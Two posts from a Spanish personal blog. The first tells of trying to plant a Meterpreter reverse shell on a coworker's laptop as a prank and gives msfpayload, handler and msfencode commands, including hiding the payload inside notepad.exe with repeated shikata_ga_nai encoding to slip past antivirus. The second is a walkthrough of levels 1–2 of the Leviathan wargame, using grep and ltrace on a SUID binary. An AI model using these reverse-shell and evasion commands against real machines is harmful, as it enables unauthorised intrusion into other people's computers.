lunes, 24 de octubre de 2011

Owning, my friend!


Después de tanto tiempo.. va siendo hora de que actualice un poco..

En mi empresa, tenemos la mala costumbre (o buena..) de que cuando alguien se deja el ordenador sin bloquear, hacer lo que llamamos un "follarín de los bosques" (dejo a elección del lector la búsqueda de esta "técnica"... .com), la cosa ha ido evolucionando... y da la casualidad que tengo un compañero un tanto bacilón y que llevo unos días intentando darle una lección... (ese compañero es Seifreed ;))


Así pues.. esa lección consistía en meterle un meterpreter en su máquina, y una vez ahí, asustarle un poco jugando con procesos, notepads, capturas de pantalla y demás... La máquina era un Win7 con el antivirus Comodo, por lo que lo primero de todo que hice fue crear un ejecutable con el payload desde el msfpayload:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 X > seif.exe


a continuación este ejecutable lo subí a virustotal y cómo se puede ver en la imagen, dicho archivo no lo reconoce como malicioso (al menos el antivirus que él utiliza):



Así pues, tocaba ejecutar la operación "Owning Seifreed" en el momento en que se levantase y no bloquease el portátil... así que el primer paso era dejar un meterpreter escuchando para la conexión inversa desde su máquina.

./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Unos minutos después.. ya estaba levantándose para dejarme el portátil sin protección alguna.. (muahhahaha) por lo que aproveche para conectarme a mi máquina vía http y descargarme el archivo que después ejecutaría...

http://192.168.0.153/seif.exe

Tuve la mala suerte de que me pilló con las manos en la masa, por lo que saltó sobre mi y empezamos a realizar un forcejeo... él para quitarme el mouse pensando que quería abrir alguna url jugosa.. (www.lolshock.com) y yo para cerrar la información de descargas y que no viese el archivo descargado para poder así esperar a la próxima oportunidad para ejecutarlo...

Desgraciadamente, un fin de semana de por medio, se ha dado cuenta del archivo descargado... así que hoy ya hemos jugado con el ejecutable ambos, con la idea de si realmente Comodo no lo detectaría o se lo tragaría...

Al ejecutar seif.exe el antivirus ha detectado que se trataba de un ejecutable que no conocía y por lo tanto lo ha "sandboxeado" para evitar males mayores... por lo que ha permitido realizar la conexión inversa, pero, sin permitir el acceso a ciertas llamadas por parte de meterpreter.
Por lo que he empezado a darle vueltas.. ¿por que lo ha detectado el antivirus?¿por que lo ha metido en una sandbox?¿que pasaría si lo detectase como un ejecutable conocido?


Así que ahí he decidido.. y si lo codifico dentro de un archivo conocido?¿también lo detectará como extraño? Por lo que hemos vuelto a generar otro payload, pero esta vez metiéndolo dentro del ejecutable del notepad, y por si acaso, codificacándolo 5 veces con shikata_ga_nai...

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /tmp/notepad.exe -o /tmp/troloro.exe

Volvemos a subir el archivo generado a la máquina que queremos Ownear, y volvemos a ejecutar...

Se vuelve a realizar la conexión, y esta vez no ha aparecido ningún mensaje del "Comodo" indicándome nada extraño... pero vuelvo a no tener privilegios para nada.. por lo que supongo que ha vuelto a "sandboxear" el proceso..

Lo hemos estado mirando y en el modo "paranoid" parece ser que todo ejecutable que no conoce lo mete en una sandbox, mientras que si estuviese en modo protección "advanced", se lo traga todo... por lo que en ese caso, es prácticamente imposible saltarse esa restricción... Al investigar un poco más, también hemos podido ver que para analizar los ejecutables, se mira que tengan un tamaño máximo, con tal de no ralentizar los análisis.. pero este límite es de 40 MB.. así que es un poco grande como para generarlo.. y seguramente, lo seguiría metiendo en la sandbox, aún sin analizar..

Estos días intentaré mirarme un poco la forma de evadir antivirus... no como lo hace Selvi metiendo código vbasic en memoria... si no de intentar hacer menos detectable un ejecutable..
a ver si tengo éxito y puedo escribir algo ;)

sábado, 31 de julio de 2010

Leviathan wargame level1 y level2

Hace un par de meses leyendo otro blog, leí sobre la existencia de intruder.net así como de los wargames que tiene.
Empecé por el primero, también el más sencillo. Y aunque estuve unos diez minutillos, no llegué a pasarlo entero, pero bueno, vamos paso a paso. Éste es "Leviathan":

Access:
ssh:leviathan.intruded.net
port:10101
username:level1
password:leviathan

Consiste en que dado un usuario, tenemos que ir escalando privilegios hasta el usuario level8, así que una vez nos conectamos, podemos ver un mensaje de bienvenida. En éste, se nos comenta que la mayoría de los niveles, los podemos encontrar en /wargame, así como que /tmp es "writeable". Pero si probamos, vemos que no es "readable", al menos no por nosotros.

Si se accede a /wargame podemos observar que existen unos cuantos archivos con el bit de SUID actio, por lo que pueden ejecutarse con permisos de otros usuarios "mayores".


Level 1:
En el caso de level1, no existe archivo en /wargame, así que hay que mirar en su propio home. Se puede ver que hay un archivo .password que contiene el password del nivel 1, pero esta no nos sirve, puesto que ya la tenemos.
Observamos que existe un directorio .backup, que dentro tiene un archivo bookmarks.html. Podemos abrirlo y mirar dentro a ver si nos puede dar alguna pista de la contraseña para el nivel 2, aunque haciendo una simple búsqueda de palabras podemos evitar leerlo entero (1400 lineas no es para menos!):P


grep intruded bookmarks.html
o
grep pass bookmarks.html


El resultado es una url donde si accedemos podemos ver la contraseña para el siguiente nivel.

El siguiente paso:
level1@leviathan:~/.backup$ su level2
Password:
level2@leviathan:/home/level1/.backup$

Level 2:
Como vemos, estamos como usuario "level2", en el home de level1. En este caso si que existe ejecutable en /wargame, así que.. vamos para allí.

Podemos ver, que el archivo que podemos ejecutar, y que nos dará privilegios de "level3" es el ejecutable "check".

level2@leviathan:/wargame$ ./check
password: prueba
Wrong password, Good Bye ...

Por lo que parece, está comparando la contraseña que nosotros le proporcionamos de alguna manera, y en caso de que sea válida nos dará acceso al siguiente nivel.
Así que, utilizaremos "ltrace" para ver las llamadas que hace y ver si podemos extraer algo de información que nos llegue a mostrar como obtener la contraseña.

Como se puede observar la imagen, hemos introducido como contraseña "prueba", y vemos que luego realiza una comparación con strcmp, para ver si las 3 primeras letras de nuestra contraseña, son "sex".

Así que en caso de introducir alguna palabra que empiece por sex, ya ejecutamos el /bin/sh que nos proporciona acceso a level3:

level2@leviathan:/wargame$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
sh-3.1$

Actualización:

Faltaba una cosa, acceder al home de level3 y ver su contraseña para poder hacer el "su" ;)

sh-3.1$ cd /home/level3
sh-3.1$ ls
sh-3.1$ ls -lah
total 24K
drwx------ 2 level3 level3 4.0K 2008-03-26 02:08 .
drwxr-xr-x 10 root root 4.0K 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:53 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:53 .bash_profile
-rw-r--r-- 1 root root 2.2K 2008-03-26 01:53 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:54 .passwd
sh-3.1$ cat .passwd

Eso sí, la contraseña no la pongo!